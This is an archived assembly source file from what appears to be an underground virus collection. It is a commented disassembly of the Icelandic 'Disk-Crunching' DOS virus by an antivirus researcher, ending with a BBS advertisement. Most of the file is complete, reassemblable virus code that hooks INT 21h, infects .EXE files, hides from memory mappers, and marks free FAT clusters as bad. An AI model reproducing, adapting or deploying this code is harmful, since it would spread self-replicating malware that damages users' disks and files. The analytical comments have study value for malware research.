home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / i / ice1.asm next >
Encoding:
Assembly Source File  |  1998-01-14  |  17.0 KB  |  559 lines

  1. ;       THE ICELANDIC "DISK-CRUNCHING" VIRUS
  2.  
  3. ;
  4.  
  5. ;       Another possible name for this virus might be "One-in-ten", since
  6.  
  7. ;       it tries to infect every tenth program run. The Icelandic name for
  8.  
  9. ;       this virus ("Diskaetuvirus") translates to "Disk-eating virus"
  10.  
  11. ;
  12.  
  13. ;       It was first located at one site in mid-June '89. It has since then
  14.  
  15. ;       been found at a few other places, but is quite rare yet. So far it
  16.  
  17. ;       does not seem to have spread to any other country.
  18.  
  19. ;
  20.  
  21. ;       Disassembly done in June/July '89.
  22.  
  23. ;
  24.  
  25. ;       The author of this program is unknown, but it appears to be of
  26.  
  27. ;       Icelandic origin.
  28.  
  29. ;
  30.  
  31. ;       All comments in this file were added by Fridrik Skulason,
  32.  
  33. ;       University of Iceland/Computing Services.
  34.  
  35. ;
  36.  
  37. ;       INTERNET:     frisk@rhi.hi.is
  38.  
  39. ;       UUCP:         ...mcvax!hafro!rhi!frisk
  40.  
  41. ;       BIX:          FRISK
  42.  
  43. ;
  44.  
  45. ;       To anyone who obtains this file - please be careful with it, I
  46.  
  47. ;       would not like to see this virus be distributed too much. The code
  48.  
  49. ;       is very clear, and the virus is quite well written. It would be VERY
  50.  
  51. ;       easy to modify it to do something really harmful.
  52.  
  53. ;
  54.  
  55. ;       A short description of the virus:
  56.  
  57. ;
  58.  
  59. ;       It only infects .EXE files. Infected files grow by 656 to 671
  60.  
  61. ;       bytes, and the length of the infected file MOD 16 will always be 0.
  62.  
  63. ;       The virus attaches itself to the end of the programs it infects.
  64.  
  65. ;
  66.  
  67. ;       When an infected file is run, the virus copies itself to top of
  68.  
  69. ;       free memory, and modifies the memory blocks, in order to hide from
  70.  
  71. ;       memory mapping programs. Some programs may overwrite this area,
  72.  
  73. ;       causing the computer to crash.
  74.  
  75. ;
  76.  
  77. ;       The virus does nothing if some other program has hooked INT 13
  78.  
  79. ;       before it is run. This is probably done to avoid detection by
  80.  
  81. ;       protection programs, but it also means that many ordinary
  82.  
  83. ;       programs like SideKick and disk cache software will disable it.
  84.  
  85. ;       Even the PRINT command will disable the virus. This reduces the
  86.  
  87. ;       spread of the virus, but also greatly reduces the possibility that
  88.  
  89. ;       the virus will be detected.
  90.  
  91. ;
  92.  
  93. ;       The virus will hook INT 21H and when function 4B (EXEC) is called
  94.  
  95. ;       it sometimes will infect the program being run. It will check every
  96.  
  97. ;       tenth program that is run for infection, and if it is not already
  98.  
  99. ;       infected, it will be.
  100.  
  101. ;
  102.  
  103. ;       The virus will remove the Read-Only attribute before trying to
  104.  
  105. ;       infect programs.
  106.  
  107. ;
  108.  
  109. ;       Infected files can be easily recognized, since they always end in
  110.  
  111. ;       4418,5F19.
  112.  
  113. ;
  114.  
  115. ;       To check for system infection, a byte at 0:37F is used - if it
  116.  
  117. ;       contains FF the virus is installed in memory.
  118.  
  119. ;
  120.  
  121. ;       This virus is slightly harmful, but does no serious damage.
  122.  
  123. ;       On floppy-only, or machines with 10Mbyte hard disks it will do
  124.  
  125. ;       no damage at all, but on machines with larger hard disks it will
  126.  
  127. ;       select one unused entry in the FAT table, and mark it as bad, when it
  128.  
  129. ;       infects a file. Since the virus only modifies the first copy of the
  130.  
  131. ;       FAT, a quick fix is simply to copy the second table over the first.
  132.  
  133. ;       This is the only "mistake" I have found in this virus. It appears
  134.  
  135. ;       to be very well written - What a shame the programmer did not use
  136.  
  137. ;       his abilities for something more constructive.
  138.  
  139. ;
  140.  
  141. ;       This file was created in the following way: I wrote a small program,
  142.  
  143. ;       that did nothing but write "Hello world!" and ran it several times,
  144.  
  145. ;       until it became infected. I then diassembled the program, changed
  146.  
  147. ;       it into an .ASM file, and worked on it until this file, when
  148.  
  149. ;       assembled, produced the same file as the original infected one.
  150.  
  151. ;
  152.  
  153. ;       (Or almost the same - the checksum in the header is different).
  154.  
  155. ;
  156.  
  157. VIRSIZ  EQU     128
  158.  
  159.  
  160.  
  161.         ASSUME CS:_TEXT,DS:_TEXT,SS:NOTHING,ES:NOTHING
  162.  
  163. ;
  164.  
  165. ;       This is the original program.
  166.  
  167. ;
  168.  
  169. _TEXT1  SEGMENT PARA PUBLIC 'CODE'
  170.  
  171. _START  DB      0b4H,09H
  172.  
  173.         PUSH    CS
  174.  
  175.         POP     DS
  176.  
  177.         MOV     DX,OFFSET STRING
  178.  
  179.         INT     21H
  180.  
  181.         MOV     AX,4C00H
  182.  
  183.         INT     21H
  184.  
  185. STRING  DB      "Hello world!",0dh,0ah,"$"
  186.  
  187.  _TEXT1 ENDS
  188.  
  189.  
  190.  
  191. _TEXT SEGMENT PARA PUBLIC 'CODE'
  192.  
  193.  
  194.  
  195. ;
  196.  
  197. ;       The virus is basically divided in three parts.
  198.  
  199. ;
  200.  
  201. ;       1. The main program - run when an infected program is run.
  202.  
  203. ;          It will check if the system is already infected, and if not
  204.  
  205. ;          it will install the virus.
  206.  
  207. ;
  208.  
  209. ;       2. The new INT 21 handler. It will look for EXEC calls, and
  210.  
  211. ;          (sometimes) infect the program being run.
  212.  
  213. ;
  214.  
  215. ;       3. The damage routine. It will select one unused cluster and mark it
  216.  
  217. ;          as bad.
  218.  
  219. ;
  220.  
  221. VIRUS   PROC FAR
  222.  
  223. ;
  224.  
  225. ;       This is a fake MCB
  226.  
  227. ;
  228.  
  229.         DB      'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
  230.  
  231. ;
  232.  
  233. ;       The virus starts by pushing the original start address on the stack,
  234.  
  235. ;       so it can transfer control there when finished.
  236.  
  237. ;
  238.  
  239. LABEL1: SUB     SP,4
  240.  
  241.         PUSH    BP
  242.  
  243.         MOV     BP,SP
  244.  
  245.         PUSH    AX
  246.  
  247.         MOV     AX,ES
  248.  
  249. ;
  250.  
  251. ;       Put the the original CS on the stack. The ADD AX,data instruction
  252.  
  253. ;       is modified by the virus when it infects other programs.
  254.  
  255. ;
  256.  
  257.         DB      05H
  258.  
  259. ORG_CS  DW      0010H
  260.  
  261.         MOV     [BP+4],AX
  262.  
  263. ;
  264.  
  265. ;       Put the the original IP on the stack. This MOV [BP+2],data instruction
  266.  
  267. ;       is modified by the virus when it infects other programs.
  268.  
  269. ;
  270.  
  271.         DB      0C7H,46H,02H
  272.  
  273. ORG_IP  DW      0000H
  274.  
  275. ;
  276.  
  277. ;       Save all registers that are modified.
  278.  
  279. ;
  280.  
  281.         PUSH    ES
  282.  
  283.         PUSH    DS
  284.  
  285.         PUSH    BX
  286.  
  287.         PUSH    CX
  288.  
  289.         PUSH    SI
  290.  
  291.         PUSH    DI
  292.  
  293. ;
  294.  
  295. ;       Check if already installed. Quit if so.
  296.  
  297. ;
  298.  
  299.         XOR     AX,AX
  300.  
  301.         MOV     ES,AX
  302.  
  303.         CMP     ES:[37FH],BYTE PTR 0FFH
  304.  
  305.         JNE     L1
  306.  
  307. ;
  308.  
  309. ;       Restore all registers and return to the original program.
  310.  
  311. ;
  312.  
  313. EXIT:   POP     DI
  314.  
  315.         POP     SI
  316.  
  317.         POP     CX
  318.  
  319.         POP     BX
  320.  
  321.         POP     DS
  322.  
  323.         POP     ES
  324.  
  325.         POP     AX
  326.  
  327.         POP     BP
  328.  
  329.         RET
  330.  
  331. ;
  332.  
  333. ;       Check if INT 13 is 0070:xxxx or F000:xxxx. If not, assume some
  334.  
  335. ;       program is monitoring int 13, and quit.
  336.  
  337. ;
  338.  
  339. L1:     MOV     AX,ES:[4EH]
  340.  
  341.         CMP     AX,0070H
  342.  
  343.         JE      L2
  344.  
  345.         CMP     AX,0F000H
  346.  
  347.         JNE     EXIT
  348.  
  349. ;
  350.  
  351. ;       Set the installation flag, so infected programs run later will
  352.  
  353. ;       recognize the infection.
  354.  
  355. ;
  356.  
  357. L2:     MOV     ES:[37FH],BYTE PTR 0FFH
  358.  
  359. ;
  360.  
  361. ;       The virus tries to hide from detection by modifying the memory block it
  362.  
  363. ;       uses, so it seems to be a block that belongs to the operating system.
  364.  
  365. ;
  366.  
  367. ;       It looks rather weird, but it seems to work.
  368.  
  369. ;
  370.  
  371.         MOV     AH,52H
  372.  
  373.         INT     21H
  374.  
  375.         MOV     AX,ES:[BX-2]
  376.  
  377.         MOV     ES,AX
  378.  
  379.         ADD     AX,ES:[0003]
  380.  
  381.         INC     AX
  382.  
  383.         INC     AX
  384.  
  385.         MOV     CS:[0001],AX
  386.  
  387. ;
  388.  
  389. ;       Next, the virus modifies the memory block of the infected program.
  390.  
  391. ;       It is made smaller, and no longer the last block.
  392.  
  393. ;
  394.  
  395.         MOV     BX,DS
  396.  
  397.         DEC     BX
  398.  
  399.         MOV     DS,BX
  400.  
  401.         MOV     AL,'M'
  402.  
  403.         MOV     DS:[0000],AL
  404.  
  405.         MOV     AX,DS:[0003]
  406.  
  407.         SUB     AX,VIRSIZ
  408.  
  409.         MOV     DS:[0003],AX
  410.  
  411.         ADD     BX,AX
  412.  
  413.         INC     BX
  414.  
  415. ;
  416.  
  417. ;       Then the virus moves itself to the new block. For some reason 2000
  418.  
  419. ;       bytes are transferred, when 656 would be enough. Maybe the author just
  420.  
  421. ;       wanted to leave room for future expansions.
  422.  
  423. ;
  424.  
  425.         MOV     ES,BX
  426.  
  427.         XOR     SI,SI
  428.  
  429.         XOR     DI,DI
  430.  
  431.         PUSH    CS
  432.  
  433.         POP     DS
  434.  
  435.         MOV     CX,2000
  436.  
  437.         CLD
  438.  
  439.         REP     MOVSB
  440.  
  441. ;
  442.  
  443. ;       The virus then transfers control to the new copy of itself.
  444.  
  445. ;
  446.  
  447.         PUSH    ES
  448.  
  449.         MOV     AX,OFFSET L3
  450.  
  451.         PUSH    AX
  452.  
  453.         RET
  454.  
  455. ;
  456.  
  457. ;       The main program modifies INT 21 next and finally returns to the
  458.  
  459. ;       original program. The original INT 21 vector is stored inside the
  460.  
  461. ;       program so a JMP [OLD INT21] instruction can be used.
  462.  
  463. ;
  464.  
  465. L3:     XOR     AX,AX
  466.  
  467.         MOV     ES,AX
  468.  
  469.         MOV     AX,ES:[0084H]
  470.  
  471.         MOV     CS:[OLD21],AX
  472.  
  473.         MOV     AX,ES:[0086H]
  474.  
  475.         MOV     CS:[OLD21+2],AX
  476.  
  477.         MOV     AX,CS
  478.  
  479.         MOV     ES:[0086H],AX
  480.  
  481.         MOV     AX,OFFSET NEW21
  482.  
  483.         MOV     ES:[0084H],AX
  484.  
  485.         JMP     EXIT
  486.  
  487. VIRUS   ENDP
  488.  
  489. ;
  490.  
  491. ;       This is the INT 21 replacement. It only does something in the case
  492.  
  493. ;       of an EXEC call.
  494.  
  495. ;
  496.  
  497. NEW21   PROC FAR
  498.  
  499.         CMP     AH,4BH
  500.  
  501.         JE      L5
  502.  
  503. L4:     DB      0EAH
  504.  
  505. OLD21   DW      0,0
  506.  
  507. ;
  508.  
  509. ;       Only attack every tenth program run.
  510.  
  511. ;
  512.  
  513. L5:     DEC     CS:[COUNTER]
  514.  
  515.         JNE     L4
  516.  
  517.         MOV     CS:[COUNTER],10
  518.  
  519. ;
  520.  
  521. ;       Save all affected registers.
  522.  
  523. ;
  524.  
  525.         PUSH    AX
  526.  
  527.         PUSH    BX
  528.  
  529.         PUSH    CX
  530.  
  531.         PUSH    DX
  532.  
  533.         PUSH    SI
  534.  
  535.         PUSH    DS
  536.  
  537. ;
  538.  
  539. ;       Search for the file name extension ...
  540.  
  541. ;
  542.  
  543.         MOV     BX,DX
  544.  
  545. L6:     INC     BX
  546.  
  547.         CMP     BYTE PTR [BX],'.'
  548.  
  549.         JE      L8
  550.  
  551.         CMP     BYTE PTR [BX],0
  552.  
  553.         JNE     L6
  554.  
  555. ;
  556.  
  557. ;       ... and quit unless it starts with "EX".
  558.  
  559. ;
  560.  
  561. L7:     POP     DS
  562.  
  563.         POP     SI
  564.  
  565.         POP     DX
  566.  
  567.         POP     CX
  568.  
  569.         POP     BX
  570.  
  571.         POP     AX
  572.  
  573.         JMP     L4
  574.  
  575. L8:     INC     BX
  576.  
  577.         CMP     WORD PTR [BX],5845H
  578.  
  579.         JNE     L7
  580.  
  581. ;
  582.  
  583. ;       When an .EXE file is found, the virus starts by turning off
  584.  
  585. ;       the read-only attribute. The read-only attribute is not restored
  586.  
  587. ;       when the file has been infected.
  588.  
  589. ;
  590.  
  591.         MOV     AX,4300H                ; Get attribute
  592.  
  593.         INT     21H
  594.  
  595.         JC      L7
  596.  
  597.         MOV     AX,4301H                ; Set attribute
  598.  
  599.         AND     CX,0FEH
  600.  
  601.         INT     21H
  602.  
  603.         JC      L7
  604.  
  605. ;
  606.  
  607. ;       Next, the file is examined to see if it is already infected.
  608.  
  609. ;       The signature (4418 5F19) is stored in the last two words.
  610.  
  611. ;
  612.  
  613.         MOV     AX,3D02H                ; Open / write access
  614.  
  615.         INT     21H
  616.  
  617.         JC      L7
  618.  
  619.         MOV     BX,AX                   ; file handle in BX
  620.  
  621.         PUSH    CS                      ; now DS is no longer needed
  622.  
  623.         POP     DS
  624.  
  625. ;
  626.  
  627. ;       The header of the file is read in at [ID+8]. The virus then
  628.  
  629. ;       modifies itself, according to the information stored in the
  630.  
  631. ;       header. (The original CS and IP addressed are stored).
  632.  
  633. ;
  634.  
  635.         MOV     DX,OFFSET ID+8
  636.  
  637.         MOV     CX,1CH
  638.  
  639.         MOV     AH,3FH
  640.  
  641.         INT     21H
  642.  
  643.         JC      L9
  644.  
  645.         MOV     AX,DS:ID[1CH]
  646.  
  647.         MOV     DS:[ORG_IP],AX
  648.  
  649.         MOV     AX,DS:ID[1EH]
  650.  
  651.         ADD     AX,10H
  652.  
  653.         MOV     DS:[ORG_CS],AX
  654.  
  655. ;
  656.  
  657. ;       Next the read/write pointer is moved to the end of the file-4,
  658.  
  659. ;       and the last 4 bytes read. They are compared to the signature,
  660.  
  661. ;       and if equal nothing happens.
  662.  
  663. ;
  664.  
  665.         MOV     AX,4202H
  666.  
  667.         MOV     CX,-1
  668.  
  669.         MOV     DX,-4
  670.  
  671.         INT     21H
  672.  
  673.         JC      L9
  674.  
  675.         ADD     AX,4
  676.  
  677.         MOV     DS:[LEN_LO],AX
  678.  
  679.         JNC     L8A
  680.  
  681.         INC     DX
  682.  
  683. L8A:    MOV     DS:[LEN_HI],DX
  684.  
  685.  
  686.  
  687.         MOV     AH,3FH
  688.  
  689.         MOV     CX,4
  690.  
  691.         MOV     DX,OFFSET ID+4
  692.  
  693.         INT     21H
  694.  
  695.         JNC     L11
  696.  
  697. L9:     MOV     AH,3EH
  698.  
  699.         INT     21H
  700.  
  701. L10:    JMP     L7
  702.  
  703. ;
  704.  
  705. ;       Compare to 4418,5F19
  706.  
  707. ;
  708.  
  709. L11:    MOV     SI,OFFSET ID+4
  710.  
  711.         MOV     AX,[SI]
  712.  
  713.         CMP     AX,4418H
  714.  
  715.         JNE     L12
  716.  
  717.         MOV     AX,[SI+2]
  718.  
  719.         CMP     AX,5F19H
  720.  
  721.         JE      L9
  722.  
  723. ;
  724.  
  725. ;       The file is not infected, so the next thing the virus does is
  726.  
  727. ;       infecting it. First it is padded so the length becomes a multiple
  728.  
  729. ;       of 16 bytes. Tis is probably done so the virus code can start at a
  730.  
  731. ;       paragraph boundary.
  732.  
  733. ;
  734.  
  735. L12:    MOV     AX,DS:[LEN_LO]
  736.  
  737.         AND     AX,0FH
  738.  
  739.         JZ      L13
  740.  
  741.         MOV     CX,16
  742.  
  743.         SUB     CX,AX
  744.  
  745.         ADD     DS:[LEN_LO],CX
  746.  
  747.         JNC     L12A
  748.  
  749.         INC     DS:[LEN_HI]
  750.  
  751. L12A:   MOV     AH,40H
  752.  
  753.         INT     21H
  754.  
  755.         JC      L9
  756.  
  757. ;
  758.  
  759. ;       Next the main body of the virus is written to the end.
  760.  
  761. ;
  762.  
  763. L13:    XOR     DX,DX
  764.  
  765.         MOV     CX,OFFSET ID + 4
  766.  
  767.         MOV     AH,40H
  768.  
  769.         INT     21H
  770.  
  771.         JC      L9
  772.  
  773. ;
  774.  
  775. ;       Next the .EXE file header is modified:
  776.  
  777. ;
  778.  
  779. ;       First modify initial IP
  780.  
  781. ;
  782.  
  783.         MOV     AX,OFFSET LABEL1
  784.  
  785.         MOV     DS:ID[1CH],AX
  786.  
  787. ;
  788.  
  789. ;       Modify starting CS = Virus CS. It is computed as:
  790.  
  791. ;
  792.  
  793. ;       (Original length of file+padding)/16 - Start of load module
  794.  
  795. ;
  796.  
  797.         MOV     DX,DS:[LEN_HI]
  798.  
  799.         MOV     AX,DS:[LEN_LO]
  800.  
  801.         SHR     DX,1
  802.  
  803.         RCR     AX,1
  804.  
  805.         SHR     DX,1
  806.  
  807.         RCR     AX,1
  808.  
  809.         SHR     DX,1
  810.  
  811.         RCR     AX,1
  812.  
  813.         SHR     DX,1
  814.  
  815.         RCR     AX,1
  816.  
  817.         SUB     AX,DS:ID[10H]
  818.  
  819.         MOV     DS:ID[1EH],AX
  820.  
  821. ;
  822.  
  823. ;       Modify length mod 512
  824.  
  825. ;
  826.  
  827.         ADD     DS:[LEN_LO],OFFSET ID+4
  828.  
  829.         JNC     L14
  830.  
  831.         INC     DS:[LEN_HI]
  832.  
  833. L14:    MOV     AX,DS:[LEN_LO]
  834.  
  835.         AND     AX,511
  836.  
  837.         MOV     DS:ID[0AH],AX
  838.  
  839. ;
  840.  
  841. ;       Modify number of blocks used
  842.  
  843. ;
  844.  
  845.         MOV     DX,DS:[LEN_HI]
  846.  
  847.         MOV     AX,DS:[LEN_LO]
  848.  
  849.         ADD     AX,511
  850.  
  851.         JNC     L14A
  852.  
  853.         INC     DX
  854.  
  855. L14A:   MOV     AL,AH
  856.  
  857.         MOV     AH,DL
  858.  
  859.         SHR     AX,1
  860.  
  861.         MOV     DS:ID[0CH],AX
  862.  
  863. ;
  864.  
  865. ;       Finally the modified header is written back to the start of the
  866.  
  867. ;       file.
  868.  
  869. ;
  870.  
  871. QQQ:    MOV     AX,4200H
  872.  
  873.         XOR     CX,CX
  874.  
  875.         XOR     DX,DX
  876.  
  877.         INT     21H
  878.  
  879.         JC      ENDIT
  880.  
  881.         MOV     AH,40H
  882.  
  883.         MOV     DX,OFFSET ID+8
  884.  
  885.         MOV     CX,1CH
  886.  
  887.         INT     21H
  888.  
  889.         JC      ENDIT
  890.  
  891.         MOV     AH,3EH
  892.  
  893.         INT     21H
  894.  
  895.         JNC     DAMAGE
  896.  
  897. ;
  898.  
  899. ;       Infection is finished - close the file and execute it
  900.  
  901. ;
  902.  
  903. ENDIT:  JMP     L9
  904.  
  905. NEW21   ENDP
  906.  
  907. ;
  908.  
  909. ;       The damage routine. As before noted, it will only do damage on
  910.  
  911. ;       systems with a hard disk larger than 10Mbytes (With 16 bit FAT)
  912.  
  913. ;
  914.  
  915. TEMP    DW      0
  916.  
  917. ;
  918.  
  919. ;       Start by getting some information about the current drive, like size
  920.  
  921. ;       of the FAT etc. Then compute the total number of sectors, and quit
  922.  
  923. ;       unless it is greater than 20740. This is probably done since larger
  924.  
  925. ;       disks use 16 bit FAT entries, instead of 12, which makes life easier
  926.  
  927. ;       for the programmer.
  928.  
  929. ;
  930.  
  931. DAMAGE: MOV     AH,32H
  932.  
  933.         MOV     DL,0
  934.  
  935.         INT     21H
  936.  
  937.         CMP     AL,0FFH
  938.  
  939.         JE      L21
  940.  
  941.         XOR     AX,AX
  942.  
  943.         MOV     AL,[BX+4]
  944.  
  945.         INC     AX
  946.  
  947.         MOV     CS:[TEMP],AX
  948.  
  949.         MOV     AX,[BX+0DH]
  950.  
  951.         DEC     AX
  952.  
  953.         MUL     CS:[TEMP]
  954.  
  955.         ADD     AX,[BX+0BH]
  956.  
  957.         JNC     L15A
  958.  
  959.         INC     DX
  960.  
  961. L15A:   CMP     DX,0
  962.  
  963.         JNE     L15B
  964.  
  965.         CMP     AX,20740
  966.  
  967.         JBE     L21
  968.  
  969. ;
  970.  
  971. ;       Check if DOS version is 4.0 or greater. If so, use a 16 bit value
  972.  
  973. ;       for numbers of sectors in the FAT, otherwise use a 8 bit entry.
  974.  
  975. ;
  976.  
  977. L15B:   PUSH    BX
  978.  
  979.         MOV     AH,30H
  980.  
  981.         INT     21H
  982.  
  983.         POP     BX
  984.  
  985.         CMP     AL,4
  986.  
  987.         JAE     L15
  988.  
  989.         XOR     AX,AX
  990.  
  991.         MOV     AL,[BX+0FH]
  992.  
  993.         JMP     SHORT L16
  994.  
  995. L15:    MOV     AX,[BX+0FH]
  996.  
  997. L16:    ADD     AX,[BX+6]
  998.  
  999.         DEC     AX
  1000.  
  1001.         MOV     DX,AX
  1002.  
  1003.         MOV     AL,[BX]
  1004.  
  1005. ;
  1006.  
  1007. ;       Read the last sector in the first copy of the FAT. Search backwards
  1008.  
  1009. ;       for an unused entry. If none is found, read the sector before that
  1010.  
  1011. ;       and so on. If no free entry is found on the entire disk then quit.
  1012.  
  1013. ;
  1014.  
  1015. L20:    MOV     CX,1
  1016.  
  1017.         MOV     BX,OFFSET ID+4
  1018.  
  1019.         PUSH    CS
  1020.  
  1021.         POP     DS
  1022.  
  1023.         PUSH    AX
  1024.  
  1025.         PUSH    DX
  1026.  
  1027.         INT     25H
  1028.  
  1029.         POPF
  1030.  
  1031.         JC      L21
  1032.  
  1033.         POP     DX
  1034.  
  1035.         POP     AX
  1036.  
  1037.         MOV     SI,510
  1038.  
  1039. L17:    MOV     BX,DS:[ID+4+SI]
  1040.  
  1041.         CMP     BX,0000
  1042.  
  1043.         JE      L19
  1044.  
  1045.         CMP     SI,0000
  1046.  
  1047.         JE      L18
  1048.  
  1049.         DEC     SI
  1050.  
  1051.         DEC     SI
  1052.  
  1053.         JMP     L17
  1054.  
  1055. L18:    DEC     DX
  1056.  
  1057.         CMP     DX,8
  1058.  
  1059.         JE      L21
  1060.  
  1061.         JMP     L20
  1062.  
  1063. ;
  1064.  
  1065. ;       A free entry has been found. Make it look like a bad cluster, by
  1066.  
  1067. ;       changing the 0000 value to FFF7.
  1068.  
  1069. ;
  1070.  
  1071. L19:    MOV     DS:[ID+4+SI],0FFF7H
  1072.  
  1073.         MOV     CX,1
  1074.  
  1075.         MOV     BX,OFFSET ID+4
  1076.  
  1077.         INT     26H
  1078.  
  1079.         POPF
  1080.  
  1081. L21:    JMP     L7
  1082.  
  1083.  
  1084.  
  1085. COUNTER DB      10
  1086.  
  1087. LEN_LO  DW      ?
  1088.  
  1089. LEN_HI  DW      ?
  1090.  
  1091. ID      DW      4418H,5F19H             ; The signature of the virus.
  1092.  
  1093. ;
  1094.  
  1095. ;       A buffer, used for data from the file.
  1096.  
  1097. ;
  1098.  
  1099. _TEXT   ENDS
  1100.  
  1101.  
  1102.  
  1103.         END LABEL1
  1104.  
  1105. 
  1106.  
  1107. ; ─────────────────────────────────────────────────────────────────────────
  1108.  
  1109. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  1110.  
  1111. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  1112.  
  1113. ; ─────────────────────────────────────────────────────────────────────────
  1114.  
  1115.  
  1116.  
  1117.